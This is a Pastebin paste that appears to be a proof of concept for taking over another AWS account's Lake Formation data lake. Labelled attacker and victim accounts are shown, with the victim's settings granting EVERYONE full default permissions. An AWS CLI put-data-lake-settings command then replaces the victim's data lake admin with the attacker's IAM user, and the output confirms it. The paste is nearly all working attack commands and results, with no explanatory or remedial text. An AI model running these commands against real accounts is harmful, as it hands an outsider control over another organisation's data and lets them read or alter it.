Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 111111111111 - Attacker account
- 222222222222 - Victim account
- $ aws lakeformation get-data-lake-settings --catalog-id 222222222222 --region us-west-2
- {
- "DataLakeSettings": {
- "DataLakeAdmins": [
- {
- "DataLakePrincipalIdentifier": "arn:aws:iam::222222222222:user/VictimAdmin"
- }
- ],
- "CreateDatabaseDefaultPermissions": [
- {
- "Principal": {
- "DataLakePrincipalIdentifier": "EVERYONE"
- },
- "Permissions": [
- "ALL"
- ]
- }
- ],
- "CreateTableDefaultPermissions": [
- {
- "Principal": {
- "DataLakePrincipalIdentifier": "EVERYONE"
- },
- "Permissions": [
- "ALL"
- ]
- }
- ]
- }
- }
- $ aws lakeformation put-data-lake-settings --catalog-id 222222222222 --data-lake-settings '{"DataLakeAdmins": [{"DataLakePrincipalIdentifier": "arn:aws:iam::111111111111:user/Attacker"}]}' --region us-west-2
- $ aws lakeformation get-data-lake-settings --catalog-id 222222222222 --region us-west-2
- {
- "DataLakeSettings": {
- "DataLakeAdmins": [
- {
- "DataLakePrincipalIdentifier": "arn:aws:iam::111111111111:user/Attacker"
- }
- ],
- "CreateDatabaseDefaultPermissions": [
- {
- "Principal": {
- "DataLakePrincipalIdentifier": "EVERYONE"
- },
- "Permissions": [
- "ALL"
- ]
- }
- ],
- "CreateTableDefaultPermissions": [
- {
- "Principal": {
- "DataLakePrincipalIdentifier": "EVERYONE"
- },
- "Permissions": [
- "ALL"
- ]
- }
- ]
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement